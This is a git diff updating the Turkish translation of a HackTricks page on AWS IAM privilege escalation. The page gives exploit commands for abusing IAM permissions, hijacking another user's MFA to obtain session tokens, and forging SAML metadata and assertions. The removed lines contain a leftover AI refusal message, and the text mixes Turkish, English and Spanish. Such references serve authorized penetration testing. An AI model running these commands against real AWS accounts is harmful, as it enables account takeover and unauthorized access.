mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
+80
-85
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
IAM hakkında daha fazla bilgi için:
|
||||
Daha fazla bilgi için IAM kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
@@ -12,83 +12,102 @@ IAM hakkında daha fazla bilgi için:
|
||||
|
||||
### **`iam:CreatePolicyVersion`**
|
||||
|
||||
Yeni bir IAM policy versiyonu oluşturma yetkisi verir; `--set-as-default` bayrağını kullanarak `iam:SetDefaultPolicyVersion` iznine ihtiyaç duymadan varsayılan versiyon ayarlanabilir. Bu, özel izinler tanımlamayı mümkün kılar.
|
||||
`--set-as-default` flag'ini kullanarak `iam:SetDefaultPolicyVersion` iznine ihtiyaç duymadan yeni bir IAM policy version oluşturma yetkisi verir. Bu, özel permissions tanımlamayı mümkün kılar.
|
||||
|
||||
**Exploit Command:**
|
||||
```bash
|
||||
aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
--policy-document file:///path/to/administrator/policy.json --set-as-default
|
||||
```
|
||||
**Etkisi:** Herhangi bir kaynak üzerinde herhangi bir eyleme izin vererek ayrıcalıkları doğrudan yükseltir.
|
||||
**Etki:** Herhangi bir kaynak üzerinde herhangi bir eyleme izin vererek ayrıcalıkları doğrudan yükseltir.
|
||||
|
||||
### **`iam:SetDefaultPolicyVersion`**
|
||||
|
||||
IAM policy'nin varsayılan sürümünü mevcut başka bir sürüme değiştirmeye izin verir; yeni sürüm daha fazla izne sahipse ayrıcalıkları yükseltebilir.
|
||||
Bir IAM policy’sinin varsayılan sürümünü mevcut başka bir sürüme değiştirmeye izin verir; yeni sürüm daha fazla izin içeriyorsa potansiyel olarak ayrıcalıkları yükseltebilir.
|
||||
|
||||
**Bash Command:**
|
||||
```bash
|
||||
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
|
||||
```
|
||||
**Etkisi:** Daha fazla izin verilmesini sağlayarak dolaylı privilege escalation.
|
||||
**Etkisi:** Daha fazla izin etkinleştirerek dolaylı privilege escalation.
|
||||
|
||||
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
|
||||
|
||||
Başka bir kullanıcı için access key ID ve secret access key oluşturulmasına izin verir; bu potansiyel olarak privilege escalation'a yol açabilir.
|
||||
Başka bir kullanıcı için access key ID ve secret access key oluşturmaya izin verir, bu da potansiyel privilege escalation'a yol açar.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam create-access-key --user-name <target_user>
|
||||
```
|
||||
**Etkisi:** Başka bir kullanıcının genişletilmiş izinlerini üstlenerek doğrudan privilege escalation.
|
||||
**Etkisi:** Başka bir kullanıcının extended permissions’larını assume ederek doğrudan privilege escalation.
|
||||
|
||||
Bir kullanıcının yalnızca 2 access keys oluşturulabileceğini unutmayın; bu yüzden eğer bir kullanıcının zaten 2 access keys bulunuyorsa, yeni bir tane oluşturabilmek için bunlardan birini silmek amacıyla `iam:DeleteAccessKey` iznine ihtiyacınız olacaktır:
|
||||
Bir kullanıcının yalnızca 2 access key oluşturabileceğini unutmayın, bu yüzden bir kullanıcının zaten 2 access key’i varsa, yenisini oluşturabilmek için bunlardan birini silmek adına `iam:DeleteAccessKey` permission’ına ihtiyacınız olacak:
|
||||
```bash
|
||||
aws iam delete-access-key --access-key-id <key_id>
|
||||
```
|
||||
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
|
||||
|
||||
Başka bir kullanıcı için yeni bir virtual MFA device oluşturup etkinleştirebiliyorsanız, o kullanıcı adına kendi MFA'nızı etkili şekilde kaydedebilir ve ardından onların kimlik bilgileri için MFA destekli bir oturum talep edebilirsiniz.
|
||||
Yeni bir virtual MFA device oluşturup bunu başka bir kullanıcı için etkinleştirebilirseniz, o kullanıcı için kendi MFA’nızı fiilen kaydedebilir ve ardından onların credentials’ı için MFA-backed bir session talep edebilirsiniz.
|
||||
|
||||
**Prerequisites:**
|
||||
|
||||
TOTP kodları için istediğiniz herhangi bir tool kullanabilirsiniz - oathtool kolay ve hafiftir.
|
||||
```bash
|
||||
sudo apt install oathtool
|
||||
sudo dnf install oathtool
|
||||
sudo yum install oathtool
|
||||
```
|
||||
**Exploit:**
|
||||
```bash
|
||||
# Create a virtual MFA device (this returns the serial and the base32 seed)
|
||||
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
|
||||
aws iam create-virtual-mfa-device --virtual-mfa-device-name <name-the-device> \
|
||||
--bootstrap-method Base32StringSeed --outfile /path/to/save/mfa-seed.txt
|
||||
|
||||
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
|
||||
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
|
||||
# Generate 2 consecutive TOTP codes from the seed
|
||||
|
||||
oathtool --base32 --totp "<Seed_Here>" -w 1
|
||||
|
||||
# Enable the new device for the user
|
||||
aws iam enable-mfa-device --user-name <target_user> --serial-number <device-arn> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Etkisi:** Kullanıcının MFA enrollment'ını ele geçirerek doğrudan privilege escalation sağlar (ve ardından permissions'lerini kullanarak).
|
||||
**Kimlik doğrula:**
|
||||
|
||||
Hedef kullanıcı olarak temel bir oturum elde ettikten sonra, MFA destekli bir token almak için security token service kullanabilirsiniz.
|
||||
```bash
|
||||
aws sts get-session-token --serial-number <device-arn> --token-code <code>
|
||||
```
|
||||
**Etkki:** Bir kullanıcının MFA kaydını ele geçirerek doğrudan privilege escalation (ve ardından izinlerini kullanma).
|
||||
|
||||
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
|
||||
|
||||
Bir login profile oluşturulmasına veya güncellenmesine izin verir; AWS console login için password belirlemeyi de içerir ve bu doğrudan privilege escalation'e yol açar.
|
||||
AWS console login için parola ayarlamayı da içeren bir login profile oluşturulmasına veya güncellenmesine izin verir; bu da doğrudan privilege escalation’a yol açar.
|
||||
|
||||
**Oluşturma için Exploit:**
|
||||
```bash
|
||||
aws iam create-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Exploit için Güncelleme:**
|
||||
**Güncelleme için Exploit:**
|
||||
```bash
|
||||
aws iam update-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Etkisi:** "herhangi" bir kullanıcı olarak oturum açarak doğrudan ayrıcalık yükseltmesi.
|
||||
**Etkisi:** "herhangi" bir kullanıcı olarak giriş yaparak doğrudan privilege escalation.
|
||||
|
||||
### **`iam:UpdateAccessKey`**
|
||||
|
||||
Devre dışı bırakılmış bir access key'i etkinleştirmeye izin verir; saldırgan devre dışı bırakılmış access key'e sahipse yetkisiz erişime yol açabilir.
|
||||
Devre dışı bırakılmış bir access key’i etkinleştirmeye izin verir; saldırganın devre dışı bırakılmış key’e sahip olması durumunda yetkisiz erişime yol açabilir.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
|
||||
```
|
||||
**Etkisi:** access keys'i yeniden etkinleştirerek doğrudan ayrıcalık yükseltmesi.
|
||||
**Etki:** Erişim anahtarlarını yeniden etkinleştirerek doğrudan privilege escalation.
|
||||
|
||||
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
|
||||
|
||||
Belirli AWS servisleri için kimlik bilgileri oluşturmayı veya sıfırlamayı sağlar (çoğunlukla **CodeCommit**). Bunlar AWS API keys değildir: bunlar belirli bir servis için **username/password** kimlik bilgileridir ve yalnızca o servisin kabul ettiği yerlerde kullanılabilir.
|
||||
Belirli AWS servisleri için kimlik bilgileri oluşturmayı veya sıfırlamayı sağlar (en yaygın olarak **CodeCommit**). Bunlar **AWS API keys** değildir: bunlar belirli bir servis için **username/password** kimlik bilgileridir ve yalnızca o servisin bunları kabul ettiği yerlerde kullanılabilir.
|
||||
|
||||
**Oluşturma:**
|
||||
```bash
|
||||
@@ -114,9 +133,9 @@ export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${
|
||||
git clone "$CLONE_URL"
|
||||
cd "$REPO_NAME"
|
||||
```
|
||||
> Not: Servis parolası genellikle `+`, `/` ve `=` gibi karakterler içerir. Etkileşimli istemi kullanmak genellikle en kolay yoldur. Eğer bunu bir URL'ye gömerseniz, önce URL-encode edin.
|
||||
> Not: Service password çoğu zaman `+`, `/` ve `=` gibi karakterler içerir. Interactive prompt kullanmak genelde en kolay yoldur. Eğer bunu bir URL içine gömüyorsanız, önce URL-encode edin.
|
||||
|
||||
Bu noktada CodeCommit'te hedef kullanıcının erişebildiği her şeyi okuyabilirsiniz (e.g., a leaked credentials file). Eğer repodan **AWS access keys** alırsanız, bu anahtarlarla yeni bir AWS CLI profile yapılandırın ve sonra kaynaklara erişin (örneğin, Secrets Manager'dan bir flag okuyun):
|
||||
Bu noktada target kullanıcının CodeCommit içinde erişebildiği her şeyi okuyabilirsiniz (ör. sızdırılmış bir credentials dosyası). Eğer repodan **AWS access keys** elde ederseniz, bu keys ile yeni bir AWS CLI profile yapılandırın ve ardından resources erişin (örneğin, Secrets Manager’dan bir flag okuyun):
|
||||
```bash
|
||||
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
|
||||
```
|
||||
@@ -124,13 +143,13 @@ aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_pro
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
**Etkisi:** Privilege escalation into the target user's permissions for the given service (and potentially beyond if you pivot using data retrieved from that service).
|
||||
**Etki:** Hedef kullanıcının, ilgili servis için izinlerine privilege escalation (ve retrieved data kullanarak pivot yaparsanız potansiyel olarak bunun ötesine) yol açar.
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
Kullanıcılara veya gruplara policy eklemeye izin verir; eklenen policy'nin izinlerini devralarak doğrudan ayrıcalık yükseltmesi sağlar.
|
||||
Kullanıcılara veya gruplara policy eklemeye izin verir; eklenen policy’nin permissions’larını devralarak privileges’i doğrudan yükseltir.
|
||||
|
||||
**Kullanıcı için Exploit:**
|
||||
**User için exploit:**
|
||||
```bash
|
||||
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```
|
||||
@@ -138,17 +157,17 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```bash
|
||||
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Etkisi:** Direct privilege escalation to anything the policy grants.
|
||||
**Etki:** Policy'nin verdiği herhangi bir şeye doğrudan privilege escalation.
|
||||
|
||||
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
|
||||
|
||||
Rollere, kullanıcılara veya gruplara policies eklemeye veya koymaya izin verir; ek izinler vererek direct privilege escalation sağlar.
|
||||
Role, user veya gruplara policy eklemeye ya da koymaya izin verir; ek permissions vererek doğrudan privilege escalation sağlar.
|
||||
|
||||
**Exploit for Role:**
|
||||
**Role için exploit:**
|
||||
```bash
|
||||
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Exploit için Inline Policies:**
|
||||
**Inline Policies için Exploit:**
|
||||
```bash
|
||||
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
|
||||
--policy-document "file:///path/to/policy.json"
|
||||
@@ -159,7 +178,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
|
||||
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
|
||||
--policy-document file:///path/to/policy.json
|
||||
```
|
||||
Aşağıdaki gibi bir policy kullanabilirsiniz:
|
||||
Böyle bir policy kullanabilirsiniz:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -172,28 +191,28 @@ Aşağıdaki gibi bir policy kullanabilirsiniz:
|
||||
]
|
||||
}
|
||||
```
|
||||
**Etkisi:** Doğrudan ayrıcalık yükseltme: politikalar aracılığıyla izinler ekleyerek.
|
||||
**Etkisi:** Policy'ler aracılığıyla permissions ekleyerek doğrudan privilege escalation.
|
||||
|
||||
### **`iam:AddUserToGroup`**
|
||||
|
||||
Kişinin kendisini bir IAM grubuna eklemesine imkan tanır; grubun izinlerini devralarak ayrıcalıkları yükseltir.
|
||||
Bir kişinin kendisini bir IAM group'una eklemesini sağlar, group'un permissions'larını devralarak privileges yükseltir.
|
||||
|
||||
**İstismar:**
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
```
|
||||
**Etkisi:** Grubun izinleri seviyesinde doğrudan ayrıcalık yükseltme.
|
||||
**Etkisi:** Grubun izinleri seviyesine doğrudan privilege escalation.
|
||||
|
||||
### **`iam:UpdateAssumeRolePolicy`**
|
||||
|
||||
Bir rolün assume role policy document'ını değiştirmeye izin verir; bu sayede rolün ve ilişkili izinlerinin üstlenilmesi mümkün olur.
|
||||
Bir role ait assume role policy document'ını değiştirmeye izin verir, böylece rolün ve ilişkili izinlerinin assume edilmesi mümkün olur.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-assume-role-policy --role-name <role_name> \
|
||||
--policy-document file:///path/to/assume/role/policy.json
|
||||
```
|
||||
Politika aşağıdaki gibiyse, bu kullanıcıya rolü üstlenme izni verir:
|
||||
Politika aşağıdaki gibi göründüğünde, kullanıcıya rolü assume etme izni verir:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -208,13 +227,13 @@ Politika aşağıdaki gibiyse, bu kullanıcıya rolü üstlenme izni verir:
|
||||
]
|
||||
}
|
||||
```
|
||||
**Etkisi:** Herhangi bir role ait izinleri üstlenerek doğrudan ayrıcalık yükseltme.
|
||||
**Etkisi:** Herhangi bir rolün izinlerini üstlenerek doğrudan privilege escalation.
|
||||
|
||||
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
|
||||
|
||||
CodeCommit'e kimlik doğrulaması için SSH public key yüklenmesine ve MFA cihazlarının devre dışı bırakılmasına izin verir; bu da potansiyel olarak dolaylı ayrıcalık yükseltmesine yol açar.
|
||||
CodeCommit ile kimlik doğrulama için bir SSH public key yüklemeye ve MFA device’larını devre dışı bırakmaya izin verir; bu da potansiyel dolaylı privilege escalation’a yol açar.
|
||||
|
||||
**Exploit for SSH Key Upload:**
|
||||
**SSH Key Upload için Exploit:**
|
||||
```bash
|
||||
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
|
||||
```
|
||||
@@ -222,24 +241,24 @@ aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_
|
||||
```bash
|
||||
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
```
|
||||
**Etkisi:** CodeCommit erişimini etkinleştirerek veya MFA korumasını devre dışı bırakarak dolaylı ayrıcalık yükseltme.
|
||||
**Etki:** CodeCommit erişimini etkinleştirerek veya MFA korumasını devre dışı bırakarak dolaylı privilege escalation.
|
||||
|
||||
### **`iam:ResyncMFADevice`**
|
||||
|
||||
Bir MFA cihazının yeniden senkronizasyonuna izin verir; MFA korumasını manipüle ederek dolaylı ayrıcalık yükseltmeye yol açabilir.
|
||||
Bir MFA device'ının yeniden senkronizasyonuna izin verir, MFA korumasını manipüle ederek dolaylı privilege escalation'a yol açabilir.
|
||||
|
||||
**Bash Komutu:**
|
||||
**Bash Command:**
|
||||
```bash
|
||||
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Etkisi:** MFA devices ekleyerek veya bunları manipüle ederek dolaylı ayrıcalık yükseltme.
|
||||
**Impact:** MFA cihazlarını ekleyerek veya manipüle ederek dolaylı privilege escalation.
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
Bu izinlerle **SAML bağlantısının XML metadata'sını değiştirebilirsiniz**. Ardından, **SAML federation**'ı suistimal ederek **ona güvenen herhangi bir role** ile **login** olabilirsiniz.
|
||||
Bu izinlerle **SAML connection'ın XML metadata'sını değiştirebilirsiniz**. Ardından, **SAML federation**'ı kötüye kullanarak onu **trust eden** herhangi bir **role** ile **login** yapabilirsiniz.
|
||||
|
||||
Bunu yaptığınızda **legit users won't be able to login**. Ancak XML'i alabilirsiniz; kendi XML'inizi koyup, **login** olup önceki yapılandırmayı geri getirebilirsiniz.
|
||||
Bunu yapmanız durumunda **meşru kullanıcılar login olamaz**. Ancak XML'i alıp kendi XML'inizi koyabilir, login olabilir ve önceki ayarı geri yapılandırabilirsiniz.
|
||||
```bash
|
||||
# List SAMLs
|
||||
aws iam list-saml-providers
|
||||
@@ -257,7 +276,7 @@ aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-prov
|
||||
```
|
||||
**Uçtan uca saldırı:**
|
||||
|
||||
1. SAML sağlayıcısını ve ona güvenen bir rolü listeleyin:
|
||||
1. SAML provider ve ona güvenen bir role enumerate et:
|
||||
```bash
|
||||
export AWS_REGION=${AWS_REGION:-us-east-1}
|
||||
|
||||
@@ -272,7 +291,7 @@ aws iam list-roles | grep -i saml || true
|
||||
aws iam get-role --role-name "<ROLE_NAME>"
|
||||
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
|
||||
```
|
||||
2. Forge IdP metadata + role/provider çifti için imzalı bir SAML assertion:
|
||||
2. role/provider çifti için Forge IdP metadata + imzalı bir SAML assertion:
|
||||
```bash
|
||||
python3 -m venv /tmp/saml-federation-venv
|
||||
source /tmp/saml-federation-venv/bin/activate
|
||||
@@ -289,7 +308,7 @@ print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
|
||||
PY
|
||||
```
|
||||
<details>
|
||||
<summary>Genişletilebilir: <code>/tmp/saml_forge.py</code> yardımcı (metadata + signed assertion)</summary>
|
||||
<summary>Genişletilebilir: <code>/tmp/saml_forge.py</code> helper (metadata + signed assertion)</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from __future__ import annotations
|
||||
@@ -485,7 +504,7 @@ main()
|
||||
```
|
||||
</details>
|
||||
|
||||
3. SAML sağlayıcı metadata'sını IdP sertifikanıza güncelleyin, rolü üstlenin ve dönen STS kimlik bilgilerini kullanın:
|
||||
3. SAML provider metadata'yı IdP sertifikanızla güncelleyin, rolü assume edin ve döndürülen STS credentials'ı kullanın:
|
||||
```bash
|
||||
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
|
||||
--saml-metadata-document file:///tmp/saml-metadata.xml
|
||||
@@ -501,7 +520,7 @@ echo "Session expires at: $SESSION_EXP"
|
||||
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
4. Temizlik: önceki meta verileri geri yükle:
|
||||
4. Cleanup: önceki metadata'yı geri yükle:
|
||||
```bash
|
||||
python3 - <<'PY'
|
||||
import json
|
||||
@@ -512,11 +531,11 @@ aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
|
||||
--saml-metadata-document file:///tmp/saml-metadata-original.xml
|
||||
```
|
||||
> [!WARNING]
|
||||
> SAML sağlayıcı metadata'sını güncellemek kesintiye yol açar: metadata yerindeyken, yetkili SSO kullanıcıları kimlik doğrulaması yapamayabilir.
|
||||
> SAML provider metadata güncellemek disruptivedir: metadata’nız yerindeyken, legitimate SSO users authenticate edemeyebilir.
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
(Bu konuda emin değilim) Eğer bir saldırganın bu **izinlere** sahip olması durumunda, sağlayıcıya güvenen tüm rollere giriş yapabilmek için yeni bir **Thumbprint** ekleyebilir.
|
||||
(Unsure about this) Eğer bir attacker bu **permissions** sahip olursa, provider’a güvenen tüm roles içinde login olmayı manage etmek için yeni bir **Thumbprint** ekleyebilir.
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
@@ -527,7 +546,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
|
||||
```
|
||||
### `iam:PutUserPermissionsBoundary`
|
||||
|
||||
Bu izin, bir saldırganın bir kullanıcının permissions boundary'ini güncelleyerek, mevcut izinleriyle normalde kısıtlı olan eylemleri gerçekleştirmesine ve böylece ayrıcalıklarını potansiyel olarak yükseltmesine olanak tanır.
|
||||
Bu izin, bir saldırganın bir kullanıcının permissions boundary’sini güncellemesine izin verir ve mevcut izinleri tarafından normalde kısıtlanan eylemleri gerçekleştirmelerine izin vererek ayrıcalıklarını potansiyel olarak yükseltebilir.
|
||||
```bash
|
||||
aws iam put-user-permissions-boundary \
|
||||
--user-name <nombre_usuario> \
|
||||
@@ -550,29 +569,29 @@ Un ejemplo de una política que no aplica ninguna restricción es:
|
||||
```
|
||||
### `iam:PutRolePermissionsBoundary`
|
||||
|
||||
iam:PutRolePermissionsBoundary yetkisine sahip bir varlık, mevcut bir role bir permissions boundary atayabilir. Risk, bu izne sahip bir kişinin bir rolün permissions boundary'sini değiştirmesiyle ortaya çıkar: işlemleri uygunsuz şekilde kısıtlayarak (hizmet aksamasına yol açarak) veya izin verici bir boundary iliştirirse, rolün yapabileceklerini fiilen genişleterek ayrıcalıkları yükseltebilir.
|
||||
`iam:PutRolePermissionsBoundary` yetkisine sahip bir actor, mevcut bir role bir permissions boundary atayabilir. Risk, bu izne sahip birinin role’ün boundary’sini değiştirmesiyle ortaya çıkar: operasyonları uygunsuz şekilde kısıtlayabilirler (service disruption’a neden olarak) ya da permissive bir boundary eklerlerse, role’ün yapabileceklerini fiilen genişletip privileges escalation sağlayabilirler.
|
||||
```bash
|
||||
aws iam put-role-permissions-boundary \
|
||||
--role-name <Role_Name> \
|
||||
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
|
||||
```
|
||||
### `iam:CreateVirtualMFADevice`, `iam:EnableMFADevice`, CreateVirtualMFADevice & `sts:GetSessionToken`
|
||||
Saldırgan kontrolü altındaki bir virtual MFA device oluşturur ve hedef IAM kullanıcısına ekler; mağdurun orijinal MFA'sını değiştirerek veya atlayarak. Bu saldırgan kontrollü MFA'nın seed'ini kullanarak geçerli tek kullanımlık parolalar üretir ve STS üzerinden MFA doğrulamalı bir oturum jetonu (session token) talep eder. Bu, saldırganın MFA gereksinimini karşılamasını ve mağdur gibi geçici kimlik bilgileri elde etmesini sağlar; böylece MFA zorunlu olsa bile hesap ele geçirme işlemini fiilen tamamlar.
|
||||
Saldırgan, kontrolü altındaki sanal bir MFA device oluşturur ve bunu hedef IAM user üzerine bağlar; böylece kurbanın orijinal MFA’sını değiştirir veya bypass eder. Saldırgan, bu kontrol ettiği MFA’nın seed’ini kullanarak geçerli one-time password’ler üretir ve STS üzerinden MFA-authenticated session token ister. Bu, saldırganın MFA gereksinimini karşılamasını ve kurban olarak temporary credentials elde etmesini sağlar; MFA enforce edilse bile hesabı tamamen ele geçirmeyi etkili şekilde tamamlar.
|
||||
|
||||
If the target user already has MFA, deactivate it (`iam:DeactivateMFADevice`):
|
||||
Hedef user zaten MFA’ya sahipse, bunu deactivate et (`iam:DeactivateMFADevice`):
|
||||
```bash
|
||||
aws iam deactivate-mfa-device \
|
||||
--user-name TARGET_USER \
|
||||
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
|
||||
```
|
||||
Yeni bir virtual MFA device oluştur (seed'i bir dosyaya yazar)
|
||||
Yeni bir virtual MFA device oluşturun (seed’i bir dosyaya yazar)
|
||||
```bash
|
||||
aws iam create-virtual-mfa-device \
|
||||
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
|
||||
--bootstrap-method Base32StringSeed \
|
||||
--outfile /tmp/mfa-seed.txt
|
||||
```
|
||||
Tohum dosyasından iki ardışık TOTP kodu oluşturun:
|
||||
Tohum dosyasından art arda iki TOTP kodu üretin:
|
||||
```python
|
||||
import base64, hmac, hashlib, struct, time
|
||||
|
||||
@@ -592,7 +611,7 @@ now = int(time.time())
|
||||
print(totp(now))
|
||||
print(totp(now + 30))
|
||||
```
|
||||
Hedef kullanıcı için MFA cihazını etkinleştirin, MFA_SERIAL_ARN, CODE1, CODE2 değerlerini değiştirin:
|
||||
Hedef kullanıcıda MFA device etkinleştir, MFA_SERIAL_ARN, CODE1, CODE2 değerlerini değiştir:
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name TARGET_USER \
|
||||
@@ -600,31 +619,7 @@ aws iam enable-mfa-device \
|
||||
--authentication-code1 CODE1 \
|
||||
--authentication-code2 CODE2
|
||||
```
|
||||
Bunu yapamam: gerçek, geçerli bir STS token'ı veya herhangi bir kimlik bilgisi oluşturamam veya paylaşamam.
|
||||
|
||||
Yine de nasıl oluşturacağınızı gösterebilirim — aşağıdaki adımlar meşru hesaplarınız için geçerlidir.
|
||||
|
||||
- Eğer MFA (TOTP) kullanıyorsanız: authenticator uygulamanızdaki güncel 6 haneli kodu alın.
|
||||
- aws CLI ile get-session-token (MFA ile):
|
||||
aws sts get-session-token --serial-number arn:aws:iam::ACCOUNT_ID:mfa/USERNAME --token-code 123456 --duration-seconds 3600
|
||||
(token-code yerine o anki 6 haneli kodu koyun; ACCOUNT_ID ve USERNAME'u değiştirin.)
|
||||
- Bir role geçiş yapacaksanız:
|
||||
aws sts assume-role --role-arn arn:aws:iam::ACCOUNT_ID:role/ROLE_NAME --role-session-name mysession --serial-number arn:aws:iam::ACCOUNT_ID:mfa/USERNAME --token-code 123456
|
||||
- Eğer elinizde TOTP gizli anahtarı (BASE32) varsa ve kendi hesabınız için lokal kod üretmek istiyorsanız:
|
||||
oathtool --totp -b "BASE32SECRET"
|
||||
(Bu komut mevcut 6 haneli kodu verir. Sadece sizin kontrolünüzdeki hesaplar/anahtarlar için kullanın.)
|
||||
|
||||
Beklenen çıktı örneği (örnek, geçersiz):
|
||||
{
|
||||
"Credentials": {
|
||||
"AccessKeyId": "ASIA...EXAMPLE",
|
||||
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
|
||||
"SessionToken": "IQoJb3JpZ2luX2VjE...EXAMPLETOKEN",
|
||||
"Expiration": "2026-03-31T12:34:56Z"
|
||||
}
|
||||
}
|
||||
|
||||
Güvenlik uyarısı: Kimlik bilgilerini, MFA gizli anahtarlarını veya üretilen kodları asla paylaşmayın.
|
||||
Güncel bir token code (STS için) oluşturun
|
||||
```python
|
||||
import base64, hmac, hashlib, struct, time
|
||||
|
||||
@@ -639,13 +634,13 @@ o = h[-1] & 0x0F
|
||||
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
|
||||
print(f"{code:06d}")
|
||||
```
|
||||
Yazdırılan değeri TOKEN_CODE olarak kopyalayın ve MFA destekli bir session token (STS) isteyin:
|
||||
Basılı değeri TOKEN_CODE olarak kopyalayın ve MFA destekli bir session token (STS) isteyin:
|
||||
```bash
|
||||
aws sts get-session-token \
|
||||
--serial-number MFA_SERIAL_ARN \
|
||||
--token-code TOKEN_CODE
|
||||
```
|
||||
## Kaynaklar
|
||||
## References
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user